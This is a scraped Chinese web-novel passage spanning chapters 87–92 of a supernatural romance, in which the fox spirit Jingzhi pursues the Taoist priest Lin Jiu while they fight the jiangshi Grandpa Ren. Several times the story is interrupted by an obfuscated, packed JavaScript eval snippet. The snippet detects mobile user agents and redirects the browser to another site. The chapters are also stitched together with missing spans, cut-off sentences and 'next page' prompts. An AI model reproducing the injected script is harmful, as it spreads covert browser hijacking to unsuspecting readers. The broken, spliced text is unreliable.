静之吓了一跳,手肘一撑柱子,赶紧站直溜了,但她心里依旧好奇得厉害,于是余光到处乱瞄,但是没他同意,又不敢转过身去。 她想,他还没喜欢上她呢,她可不能看其他男子的裸上身,引得他更加不喜。 “好了没呀,我能转过去了不?” “……转过来吧。” 看着她好奇得脚尖一下一下轻轻蹬着身侧的门柱的样子,林九有些想笑,被秋生气出来的一肚子气,莫名消解了一点。 静之一转过来,便看到秋生又换了个姿势睡觉,蜷得跟个被烫熟的虾一样,枕着手,嘴里还在嘟囔着什么。 她动了动耳朵,凝神一听。 “嘿嘿,小玉,你的皮肤好滑呀。” 啧啧啧,不堪入耳。 突然,她浑身一僵,定住两秒后,她醒神过来,赶紧过去扯住林九,一脸忧虑地说: “九叔,他嘴里叫着小玉,之前我们摆梅花香阵的时候,他就有些不正常……我看到他上香了的那座坟了,名字就叫董小玉,会不会……” 林九不紧不慢地扯出被她捏在手中的袖子,又后退一步,才叹了口气说: “唉,是你想的那样没错…我怕那女鬼不会就这样善罢甘休。” 他想起什么,又叹了一声,垂下眸子,侧过身,低声嘟囔着:“偏偏在这个时候……” 静之见他皱眉,她也跟着皱眉。 一只手不由举了起来,虚虚在空中揉着他眉心的褶皱,仿佛这样就能够为他解忧似的。 见她动作奇怪,他的忧思突然被打断: “你干什么?” 静之收回手,绞着手指头轻声说着: “没什么,你别担心,有什么事尽管交代我去做。” 她看了看他因一宿没睡而有些浮肿的眼皮,有些心疼,于是又往前蹭了一小步说: “你去睡会儿吧要不,等会做好午饭,我再去叫你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086541|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林九有些犹豫,他这两个不成才的徒弟,偏偏同时出了事,没个人给她打下手,让一个姑娘家自己做事,他着实有些不好意思。 见他眉头又压低,静之哪里不知道他要说什么,也顾不得想什么碰不碰的问题了,她绕到他身后,推着他往门外走去,边推边找理由打消他的忧愁: “任老太爷可还得靠你来消灭呢,你要是到时候犯困了,那咱们几个可都得玩完儿了,快去睡吧,养好精神来……你不是符还没画完嘛,眼睛肿了,到时候你连字都看不见。” 被她推没两米,林九只觉背部与她两掌相触位置一阵火热,他下意识一个转身,脱离她的接触。 静之一个失力,身子往前倒,眼瞅着灰色的地板离自己越来越近,她却不想作为。 她倒是要看看,林九会不会救她。 揽腰,拉胳膊,还是箍住她肩膀,她都能接受的。 就在她嘴角渐渐扬起的时候,一只小腿突然横顶在她肩膀面前。 笑意凝固,她侧头一看 ,林九扶着门半蹲下来,小腿一个使力,静之受力往后一仰,力道不大不小,堪堪让她站直。 他收回脚,慢慢站直身子,有些复杂地看她一眼,转身便朝他的房间走去。 不应该的,她身手那么好,怎么会站不稳呢?就算摔了,她应该也有许多方法可以稳住身子的吧…… 难道—— 林九突然想起秋生身上的指甲印,还有他脖颈间的两个草莓印,又想起静之刚刚嘴边的那抹笑意和眼里的莫名期待,如果是她对他…… 啧,不能想不能想。 林九浑身一抖,拢了拢半敞开的衣领,回房的速度越发快了。 房门紧闭,顺道还插上木栓。 一般如果只有秋生和文才在,他是只关门不上锁的,今天,他莫名有了种危机感…… 静之站在他门外不远处的廊柱后,扒着柱子边偷看边小声哔哔: “切……还锁门,我又不是女鬼,我才不会吸你阳气呢!抖什么抖,哼!” 第87章 林九梦魇&他的“杂思” 这一觉,林九噩梦连连。 一会儿,梦见文才变成僵尸了,一会儿,梦见秋生被吸成人干了,而他站在两个小小的坟包前,边洒着黄纸,边仰天长叹。 仿佛梦魇拖着他不让他清醒过来,他的眼珠在眼皮底下急促滚动着,额头也开始密密麻麻渗出了一层细汗,放在被子外的双手,突然紧握成拳,甚至微微颤抖着。 突然,额头的那层细汗,被两根裹着手帕的手指,极轻的拭去。 一下,又一下,给他擦着汗,又仿佛在安慰着他,不时轻抚了一下他的鬓角。 是谁…… 不对! 有人进了他房间! 这个念头刚一窜入他脑子里,林九还没睁眼,便猛地握住那只悬在他额头的手。 触感……软绵细腻。 不是秋生……是个……女人! 女人?! 林九浑身一震,猛地睁大了双眼,意识还未回归,乍一见到是静之坐在他床头,他下意识地一把甩开她的手,两腿快速蹬动着,朝床的最里侧挪去。 “你怎么进来的?” 因他排斥的动作,静之有些受伤,她垂下眸子轻轻站了起来。 右手轻轻握住还留有他余温的左手手腕,仿佛不舍得那丝温热就这么消散,她越握越紧,语气却十分淡然,朝他床对面微微敞开的窗户扬了扬下巴说: “你窗户没关,我听见你叫秋生了……我就进来看看……擦擦汗吧,出来吃饭了。” 说罢,看他紧紧捏着被子,一副惊魂未定的样子,静之抿着嘴,把手里微湿的帕子轻轻放在他枕头上,未再留下一句话,转身就走。 直到她跨出门槛,消失在他的视线内,林九才松出了一直屏着的一口气,瞪大了的眼睛慢慢下移,看向他枕头上放着的那方蓝白格子纹手帕上。 这帕子…倒是与他的一样呢。 林九脑子里仿佛被这一方帕子拭去了理智,瞬间变得一片空白,他定定地望着那方帕子许久,直到秋生从窗户探头进来叫他,他才如梦初醒般,迅速抓过那帕子塞进他枕头底下,然后刻意清了清嗓子说: “知道了,马上来。” …… 等林九穿好衣服走到前院的亭子里,却发现坐成一排的三人纷纷抬头看着他。 林九理了理下摆,又低头检查了一下自己的着装,见他们还在看,林九忍不住问道: “都看着我干什么?” 文才指了指他的脖子说: “师父,你不热吗?你一向不扣上面两颗纽扣的。” 林九未回答,他下意识朝坐在侧面的静之看去,却发现她早已低下头,捧着碗,正有一口没一口的吃着碗里的米饭。 不知为何,穿自己的衣服,扣自己的扣子,本就是他自己可以做主的事儿,他却莫名对她产生了一种不应该出现的歉疚感,但是仔细思量几番,又觉得他自己没做错。 于是瞪大了眼,把文才赤裸裸的视线顶了回去,淡淡说了一句“吃饭”,就在静之对面的位置坐了下来。 桌子很长,林九跟静之各坐一头,侧边还能坐得下文才,秋生,婷婷三人,可见他们两人离得有多远。 她倒是信守承诺,一直离他远远的呢。 那为何刚刚…… 算了。 林九视线下移,发现他面前摆了一碗干饭,一碗清汤,碗面上飘着的淡淡白色烟雾昭示着这一汤一饭依旧温热。 碗旁边的汤勺筷子都摆得正正的,正是他顺手的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086542|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置。 林九怔了一瞬,随即闭紧嘴巴,拿了汤勺舀了一口汤喝着。 刚喝一口,心中实在挂念徒弟的伤势,他摒去对他来说,是“杂思”的情感,抬头看了一眼文才,见他正乖乖喝着糯米粥。 林九松了一口气的同时,心里刚刚挥去的那些“杂思”去而复返,甚至又强大了几分。 不知道为什么,她对他的徒弟上心,以及对他的细心,他一深想,就感觉别扭,总觉得这份好意突如其来,让他一时没有办法很好的接纳,也或许是…下意识的往外推… 见二人都静默吃饭,不发一言,喜好热闹的秋生撇了撇嘴,他瞥了一眼师父不明的脸色,轻轻把菜往静之的方向推了推,笑了一声说: “喏,你离得远,你不是最喜欢吃红烧肉了,快吃。” 静之夹了一筷子,朝秋生笑了一下,将肉塞进嘴里,轻轻嚼着。 秋生都知道她喜欢吃什么了,那他呢…… 有没有多关注她那么一点点。 饭桌上,只要她一抬起眼皮,林九就埋头喝汤;她一夹菜,林九就缩回手夹离自己最近的青菜。 几次过后,一顿饭吃得她心里直发堵,嘴里嚼着的红烧肉莫名泛起一丝苦味。 怎么又变这样了? 难道,是她太激进了? 不就是给他擦个汗而已,要不是听他刚刚睡觉时,断断续续的梦魇之语中,带着几分恐慌和悲伤,她才不进去呢。 …… 秋生最怕这种冷凝的氛围了,他三两下把碗里的饭扒完,然后嘴一抹,就伸手绕过坐他旁边的婷婷,拍了一下隔他一个位置远的文才的后脑 勺,高声调笑着说: 这章没有结束,请点击下一页继续阅读! 第88章 林九僵了&人鬼殊途 失重感骤一传来,林九下意识的就想伸手扶住点什么东西,手刚伸出去,刚转过脸,就看到她的侧颜,林九立马手后撤,人一下就僵了。 手脚只有上关节点在风中一晃一晃的,僵得像是刚安上的假肢,静之瞬间觉得自己好像搂着一个人体模型在飞着,她有些无语,又有点想笑。 但她知道,一旦露出哪怕是一点点笑意,林九可能就会“跳车”了。 所以静之憋住了,憋到两颊有些绯红。 林九余光看到后,还以为她终于捡回了一点女儿家的矜持。 他心里暗暗点头的同时,又莫名有些怅然。 至于为什么怅然,他不敢深想。 …… 这次飞行,静之不敢飞得太快。 原因之一,是秋生骑的是自行车,又不是火车,飞太快了,被他发现的话,就找不到那女鬼了。 原因之二,老头不能吹大风。 这个她还是晓得的。 她眼珠子渐渐右移,看着他有些花白的鬓角,心里在默默猜测他年龄的同时,速度也渐渐慢了下来。 待看到秋生的自行车屁股,飞行的速度更是缓慢,轻风拂面,彼时的林九可比上次被揪着后脖领,喝大风喝到打嗝的文才舒服多了。 但是他宁愿下去自己走,也不愿这样被她搂着。 林九的视线渐渐下垂,只见她的一缕白发随着清风,一下又一下撩拨着他挽起一截袖子的手臂,挠得他浑身不自在,于是连背也跟着一起僵了。 这回可倒好,不像是人体模型了,他整个人僵得比死了三天的尸体都僵。 静之半垂下眸子,眼里的笑意慢慢消失,林九却随着被拥抱时间的拉长,神经更加紧绷了。 人紧张的时候,五感会变得灵敏,他只觉得她身上的香甜气息,随着微凉的风,一阵又一阵地窜入他的鼻腔,让他不由内心一悸。 霎时间,脑子里纷乱的思维全部消失,清心咒倒是破土而出,占据了理性的至高点。 他悄悄屏住呼吸,眼神直直地盯着秋生因骑自行车而扭来扭去的屁股,默诵着清心咒。 静之感受到他刚刚升高的体温,不过一会儿,又急剧降低,心里不免感到一丝疑惑。 咋? 老头不会被风吹死了吧? 她不由侧目打量了他一下。 面色沉稳,呼吸绵长。 若不是眼睛还睁着,以及那依旧僵硬的身体,她都以为他睡着了。 于是她放低了些高度,有些不放心的在他耳边轻轻问道: “冷了?我飞慢些。” 温热的呼吸随着她轻柔的说话声一同喷在他的耳廓,林九脑子里仅剩的那篇清心咒,仿佛被橡皮擦大力擦去,瞬间消失得无影无踪。 他凝神一想,糟了,刚刚念到哪句了? 算了,从头再来。 不对,第一句是什么…… 静之…… 一个名字突兀地缠绕在他的舌尖,只差一点,他就叫出声了。 林九霎时满脸涨得通红,不知是恼自己如此轻易被她破了防,还是恼她不知分寸,抱着一男子就升空的操作。 就在他都快臊死的时候,她终于落地。 脚一接触地面,她便遵规守矩,没有再停留一秒,快速放开环住他腰间的手臂,又后退了两步,指着眼前大红色将军门前停着的自行车,对林九说: “到了,秋生进去了。” 僵了一路的脚,乍一踩到坚实的地面,林九只感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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静之没管他俩,毕竟来到此地不过寥寥数日,她自身的状况着实不容乐观。 不仅周身的灵气起伏不定,就连辛辛苦苦修炼得来的些许灵气,此刻也即将消耗殆尽。 而那神秘莫测的任老太爷,更是不知道何时便会骤然现身。 以她的判断,这任老太爷若是真的出现,必然会如饿狼扑食一般径直朝她和婷婷猛冲过来。 如此一想,她只觉头顶仿佛高悬着一把利刃,稍有不慎,便会直直坠下。 因此,刚一空闲,她便迫不及待地投入到修炼中,恨不能将每一分、每一秒都充分利用起来。 正当她全神贯注,逐渐进入修炼的佳境时,耳畔原本时不时传来秋生的痛呼声,竟也渐渐地消失无踪了。 她不禁暗暗松了一口气,与此同时,心境愈发平稳沉静。 她缓缓引导着体内的灵力沿着经脉运行一周之后,正欲开始运转第二周之际,突然间,一道压抑的闷哼声贯入耳蜗,令她浑身一颤。 那声音,格外耳熟。 低沉且沙哑,分明就是林九的声音。 秋生…给他按痛了? 那把椅子都被砸得稀巴烂了,也不知道他伤得重不重? 静之坐在床边,眉头紧锁,心中的担忧愈发强烈。 她想着想着,呼吸突然变得紊乱起来,仿佛有一股力量在体内乱窜,差点导致经脉逆行。 意识到情况不妙,她赶忙一个收势,集中精力将那刚刚凝聚起来的一点灵力缓缓收回丹田中。 随后,她轻轻地睁开双眼,定了定神,伸出手轻轻敲击了两下右侧床头的墙壁,并稍稍提高了音量问道: “秋生?你到底会不会呀,如果不会的话,我过去帮他擦!” 回想起上辈子,二娣和他师兄老是各种“决斗”,总会有不慎负伤的时候,也都是由她来帮忙处理伤口的。 经过这么多次的经验积累,如今的静之可以称得上是一名手法娴熟的“老技师”了。 就在此时,在另一头房间里的林九,听到隔壁突然传来的女声,身体猛地一颤。 他瞬间将脸深深地埋进枕头里,紧咬着牙关,拼命忍住那呼之欲出的痛呼声。 豆大的汗珠不断从额头滑落,浸湿了大片枕巾。 过了好一会儿,他才勉强平复下来,扭头对秋生压低声音说道: “回答她,就说不用。” 要是放在两天前,以秋生那跳脱的性子,这会儿肯定会毫不犹豫地“阳奉阴违”,直接把静之给叫过来。 然而,今天的秋生却异常乖巧听话,林九让他做什么,他便乖乖照办。 “静之姐,不用啦,我会轻点的!” 静之听到他对自己的称呼,心里直犯嘀咕。 这小子,咋跟变了个人似的? 突然这么懂礼貌了? 不过也就惊讶了那么一小会儿,她的注意力就又被林九的伤势给吸引走了。 “九叔,你怎么样?伤得重不重啊?” 说完,她就把耳朵贴墙上仔细听。 话音刚落,隔壁就传来一阵唏唏嗦嗦的声音,接着是林九清嗓子的声音。 “咳,没事儿,就一点小伤。” 秋生看着林九从肩胛骨到侧边肋骨那一大片青紫,还有些地方都渗出血点了的淤青,眼眶一下子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086544|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就热了,心里头那叫一个自责。 这要是小伤的话,那他身上那点淤青算啥。 他吸了吸鼻子,右手擓起碗里的药膏在掌心揉热了,然后轻柔中又带着点力道,缓缓将手上的药膏揉进林九背部的淤青内。 擦药的时间,格外难熬。 剧烈的酸痛感好像把时间拉长了一倍,等到秋生给林九擦完药,两人都出了一身汗,秋生是忙出的热汗,林九是疼出的冷汗。 “去那边柜子,把我的衣服拿套过来。” 林九跟被蹂躏了一样,声音更哑了。 偷听的静之眉头越皱越紧。 光擦药…可不行啊。 看他头发,应该有四十几了吧,可千万不能留下暗伤。 厨房好像还有两斤猪排骨,给他炖个汤补补算了。 她身随意动,一个骨碌翻身下床,一溜烟跑去了厨房。 …… 亭子里,众人正吃着晚饭。 秋生把头伸过去,朝林九手里的汤碗里看了下,赞叹了一声: “哇,排骨莲藕汤,为什么我们没有?” 林九“哐”的一声,把汤勺搁进碗里,两颊不知是被秋生气的还是臊的,有些发红,眼神却不自觉地扫向桌上众人的汤碗。 他们……都是蔬菜汤呢…… 还未等他多想,静之睁着死鱼眼瞪着秋生说: “我虽然没看到他的伤,但是今天那块稀碎的椅子我可是看到了……” 讲到一半,静之气不打一处来,碗筷一放,袖子一撩,朝秋生勾了勾手指说: “你要是要喝,行!站过来一点,让 我砸你一下,我就炖给你喝。” 这章没有结束,请点击下一页继续阅读! 第90章 剪追追的噩梦 静之看着他额头又迸出的一点细汗,默默收回那只罪恶的手指,然后像是怕他阻止一般,快步走到阿威旁边,才转头朝他说: “我很快就回来,既然任老太爷又出现了,那婷婷可就危险了,你带着秋生文才好好设点陷阱吧,你……能少动,就尽量少动。” 林九想说她也危险,但看了看身侧两个负伤的徒弟和手无缚鸡之力的婷婷,无奈之下只能点点头答应。 见他们快走出院子了,他仿佛记起了什么,快走两步,朝静之的背影扬声喊道: “如若真是僵尸咬的,记得赶紧用荔枝树的树枝烧了,否则还会尸变。” 他想了想,又补充一句: “你……小心点。” 静之脚步顿了一下,又开始往前走,却是头也未回,朝身后扬了扬手说: “知道啦……你跟秋生,汤要喝完哦。” 她的声音里带着几分掩盖不住的愉悦。 说完,来去匆匆的阿威便带着静之快速消失在义庄门口。 她刚刚的声音中,那股若有若无的愉悦,仿佛拥有魔力般,竟使得林九驻足院子口。 文才看了看桌子一角,已然凝结了淡淡一层油脂的汤说: “……师父,汤凉了。” 而一旁的秋生则恢复了他那嬉皮笑脸的样子,凑到林九身边说: “师父……您要是对她没什么感觉,要不就把她让给我得了,我绝对能够——” 然而,秋生还未来得及将话说完,只见林九猛地回过头来,一双眼睛瞪得浑圆,同时手臂一挥,将手中紧握的筷子如同飞镖一般直直朝着秋生扔了过去。 面对秋生那充满揶揄意味的目光,林九的脸色瞬间涨得通红,他再也按捺不住心中的怒火,大声呵斥道: “能个屁,一天到晚就知道沉迷女色,照这样下去,你迟早会被女人害死!” 这番话语,究竟是在责骂秋生,亦或是在暗自警告他自己呢? 恐怕连林九本人也难以说得清楚。 紧接着,林九迅速迈开大步,走到桌前,一把抓起属于自己的那碗汤,仰头便咕噜咕噜地一饮而尽。 待喝完之后,他随手将空碗重重地放在桌上,然后转过身去,遥望着位于前厅的祖师爷神像。 就这样静静地凝视了几秒之后,他那双如利剑般锋利的眉毛突然向上一扬,原本平静如水的眼神也在刹那间变得凌厉无比,他沉声说道: “秋生,赶快去准备朱砂网;文才,你拿着糯米把咱们整个义庄的外围,全都均匀地洒上一遍!” 他想了想,又补充道:“院子里面也要撒。” “是!”?2 林九心想,那任老太爷吸了他儿子的血,又吸了其他村民的血,保不齐变成飞僵了,还是仔细一些好。 心下思量一番,他紧皱着眉头,又快步进了书房,开始画起了符纸。 …… 另一边,阿威步履匆匆,在森林中一路疾行。 往返两趟后,他已汗如雨下,气喘吁吁。 他不禁侧目看向身旁的静之,只见她脸不红心不跳,阿威心中暗自诧异: 这女子体力竟然这么好? 他们可是以急行军的速度跑的啊。 原本对她的体力有所疑虑,可这一眼望去,便被她精致的侧脸和白皙的肌肤所吸引,目光便再难挪开。 感受到身旁炽热的目光,静之心中不禁涌起一丝厌恶,眉头微微皱起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086545|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的声音冰冷如霜:“你这双眼若不想要了,我倒可以帮你一把。” 阿威赶忙移开视线。 静之紧抿着嘴,环抱双臂,快步走到前方,不想再理会那个好色之徒。 然而,好色之徒一旦动了色心,除非得逞,否则便会一直纠缠不休。 “姑娘,你为什么要留在义庄,那里只有九叔跟一堆尸体……你身手这么好,要不来保安队啊,我罩着你!” 边说着,阿威边把自己的胸脯拍得啪啪响。 仿佛预想到了未来美人相伴左右的美事,他嘴角不由自主地勾起一抹淫笑。 “……” 静之闭了闭眼,极力忍下那股涌上来的怒火。 突然,她暗暗狡黠一笑,停下脚步,回头朝他勾了勾食指,红润的樱唇微启,轻声说着: “过来。” 阿威摸了摸后脑勺,又瞪了身后的几个小兵一眼,低声催促: “转过去转过去。” 阿威心想,难不成这姑娘要在这儿与他成其好事? 可真是放浪,不过……他喜欢,嘿嘿! 这样想着,他急不可耐地把一张油腻的大脸伸了过去,却是闭上眼睛,撅起了嘴巴朝静之贴了过去。 静之感到胃里翻江倒海一般恶心至极,她深知,如果不给这个难缠的家伙来点厉害的手段,恐怕他还会没完没了地纠缠下去。 想到这里,她深深地吸了一口气,然后身体向后仰去,满脸都是不耐烦的神情,却是柔柔说道: “睁开眼睛!” 阿威听到这话,心中不禁一阵荡漾,暗自思忖道: 这章没有结束,请点击下一页继续阅读 ! 第91章 林九:是要抄几遍 静之一颗心都提到了嗓子眼儿,一路疾驰着,脑子却不由自主地往最坏的情况想去。 若是这会儿任老太爷去,他们那四个老弱病残,可不得被一窝端了?! 老——老头林九,战力不详,遇强则强,奈何徒弟坑爹,给他背后放了一枪。 弱——婷婷最多惊叫两声,战力等同于无。 病——秋生的相思病,也算是病吧,回来以后老是唉声叹气的,又时常一副精力不足的样子,她都不知道,他现在还能不能打。 残——自然是文才,他就算已经拔去尸毒,那双手的手臂现在哪里还能使上劲儿,没把自己绷出血就不错了。 她越想越怕,一双长腿恨不得抡出火花,远离镇口以后,她立刻跃上树尖一路朝着义庄急速飞去。 就在这时,仿佛有什么恐怖的怪物在行走似的,森林里突然飞出一群惊恐的鸟儿,它们疯狂地扑腾着翅膀,不顾一切地向四面八方逃窜。 然而,归心似箭的静之没有注意到。 任老太爷因吸食人血,一双恢复了视力的眼睛,死死盯着空中飞过去的白色身影,血红色的眼眸深处突然迸射出一道锐利的精光。 一阵低沉且恐怖的嘶吼从任老太爷的喉咙里发出: “嗬…嗬…嗬…………” (皇家翻译:香香!我来了~) …… 刚飞到义庄院子口,静之就看到前厅大门紧闭,而林九独自一人,站在门前不停敲着门。 她大大松了一口气的同时,又感到疑惑。 落地的同时,她小心避开地上的糯米,快走几步,来到他身侧问:“怎么不进去?” 林九转过身,没先回答她的问题,反而上下打量了她两眼,见她安然无恙,这才放下心来,指了指门说: “那两个臭小子,可能是害怕,把门给我关了。” 这时,里头传来秋生的声音:“师父你等会儿,马上就给你开。” 话音刚落,里头就传来搬桌子,挪凳子的咯吱声,过了好一会儿,也没把门打开。 静之有些疑惑,低声嘀咕:“搞什么啊?” “嘭!”一声木头破裂声从侧边停尸房传来。 静之和林九双双转头看去,却只看到了一个黑色的身影窜出后院。 "师父!" 秋生刚刚听到那声震耳欲聋的巨响,心中猛地一紧,焦急万分地抄起供桌上的桃木剑便冲了过来。 此时,他用力推开房门,将手中的剑顺势递向站在门口一脸凝重的林九。 三人目光交汇,仅仅一瞬,林九便朝着屋内的文才和婷婷沉声说道: “快把门关好,无论发生什么事都千万别出来!” 说罢,他便带着秋生和静之二人,放轻脚步,朝着后门摸去。 刚走到后门附近,只听得又是“嘭”的一声巨响传来,犹如平地惊雷一般,吓得三人浑身一颤。 秋生脸色苍白,颤声道:“是前院!” 林九咬咬牙,当机立断道:“走!” 于是,三人迅速调整方向,从后头绕了一圈径直奔向了前院。 来到前院时,他们惊愕地发现原本紧闭着的两扇厚重木门,此刻竟朝里轰然倒地,扬起一片尘土。 林九快走几步上前查看,只见他之前与秋生精心布置的朱砂网已然掉落了下来,但奇怪的是,这朱砂网似乎并没有被动过的痕迹。 他的眉头越皱越紧,心中不祥的预感愈发强烈起来。 看来,自己最不愿意看到的情况终究还是发生了—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086546|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那任老太爷不仅有了神志,甚至很有可能已经恢复了视力。 就在这时,林九的视线忽然被地上一个清晰可见的黑色脚印所吸引。 他连忙蹲下身子,观察这个脚印,片刻之后,他不禁心头一沉。 只见那脚印的脚尖正朝着前厅的方向延伸而去。 前厅? 不好,婷婷还在前厅呢! 想到此处,林九的一颗心瞬间提到了嗓子眼儿…… 他猛地抬起头来,只见原本还算明亮的天色正逐渐变得昏暗起来,但即便如此,那义庄屋顶上缓缓移动着的僵尸身影还是清晰可见。 “在上面!” 不知是不是听到了秋生的呼喊声,那僵尸竟然扭头朝着这个方向望了过来,随后身形一闪,向着屋内纵身一跃,眨眼间便消失在了屋顶之上。 几乎就在同一时刻,房屋内部突然传出了一声尖锐刺耳的女子尖叫声。 三人心中一惊,毫不犹豫地朝着屋子里面冲了进去。 刚一进门,眼前的景象就让他们倒吸一口凉气: 只见文才被任老太爷狠狠拍出的一掌直接怼到了二楼的扶手处。 那竹制的扶手又怎能承受得住僵尸如此强大的掌力? 只听得一阵噼里啪啦的声响,扶手瞬间断裂,纷纷扬扬地坠落到了一楼地面上。 而文才整个人则失去了支撑,眼看着就要从楼上重重地摔到地上。 就在这千钧一发之际,静之顾不上考虑是否会暴露自己的真实身份让婷婷察觉,她迅速伸出一条尾巴,如同灵蛇一般在空中一卷, 精准无误地缠住了即将坠落的文才,并朝着秋生所在的方向用力一甩。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第92章 倒霉的文才&四目又来 秋生此时正弯着腰,小心翼翼地拿着煤夹子在院子外头,收集着任老太爷的骨灰。 而屋内的婷婷,则手脚麻利地收拾着前厅那一片狼藉不堪的桌椅。 另一边,静之满脸无奈地把文才再次赶进那个装满热水和糯米的大浴桶里。 看着泡在水中的文才,她叹了口气说: “我说你呀,你怎么这么倒霉,每次都伤在这两个地方,你看看你这两只手,到底还能不能动了?” 文才闻言,缓缓抬起双手,仔细感受了一番后,才有气无力地回答: “还……还行吧,好像没那么痛了。” 听到这话,静之忍不住啧啧摇头: “你难道忘记了你师父说过什么吗?要是现在感觉不到痛,那就危险喽,只有感觉到痛,才说明快要痊愈了!” 好在她早有准备,之前给文才制作解药时用到的蛇一直都备着呢。 她匆匆抄起一旁的篓子,然后毫不犹豫地将里面的蛇全都一股脑儿地往浴桶里抖落下去。 那些蛇在入水的瞬间便开始扭动起来,吓得文才尖叫连连。 “行了,别叫啦!你自己好好搓洗一下,争取让药效发挥到最大。对了,话说回来,你师父去哪儿了?你这敷伤口用的药可必须得现配才行,这样才能保证最好的疗效。” 静之皱着眉头,一边说着,一边转身去找所需的药材和药具。 文才二次受创,一张老脸白得跟鬼一样,他的眉此时蹙成了八字,看起来更衰了: “我,我刚刚看他去书房了。” 静之嘴里轻声嘟囔了几句话,旁人也没听清她说的到底是什么,她将篓子随意地放在墙角处后,便抬起头朝着不远处正收拾东西的婷婷说道: “婷婷,先别忙!帮我修剪一下后面被烧焦的头发呗。剩下的部分,等会儿再让秋生来处理好了。唉,瞧瞧这些破烂桌椅,啧啧啧,也没啥用处了,只能当作柴火烧了。” 说完,她顺手拎起一张靠背藤椅,将其翻转过来,自己则背对着门口侧坐了上去。 婷婷听到她的声音,先是愣了一愣,随后慢慢地放下手中握着的桌子腿,目光凝视着静之的背影,嘴唇微微动了几下,似乎想要说些什么,但最终还是没有开口。 站在一旁的文才注意到了婷婷的犹豫,他顺着她的视线,看了看正饶有兴致地摆弄着林九药盅的静之,然后压低嗓音安慰道: “别怕她,她可不是什么坏妖,肯定不会伤害你的。” 然而,婷婷并没有回应文才的话,只是紧紧地抿住双唇,摇了摇头。 犹豫片刻之后,她终于迈开脚步,缓缓朝静之走去。 走到近前时,她从纱布旁拿起剪刀,轻柔地挑起静之一缕已经被烧焦到卷曲起来的头发,开始仔细修剪起来。 就在这时,婷婷忽然小声说道:“静之姐姐,谢谢你……” 静之并未回头,只是把那药杵划拉得嗦嗦响,不以为然地说: “小事……” 突然想到什么,静之犹豫了一下才解释说:“我不是故意瞒着你的,我……” 随着唰的一剪子,卷曲的头发纷纷落地,婷婷打断她的话: “我都明白……我不会说出去的。” 她仔仔细细给静之修着头发,又思考了许久,才突然说了一句: “既然我爷爷已经……那我也该回去了,这段时间,谢谢你们的收留。” 药杵的划拉声止,静之说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 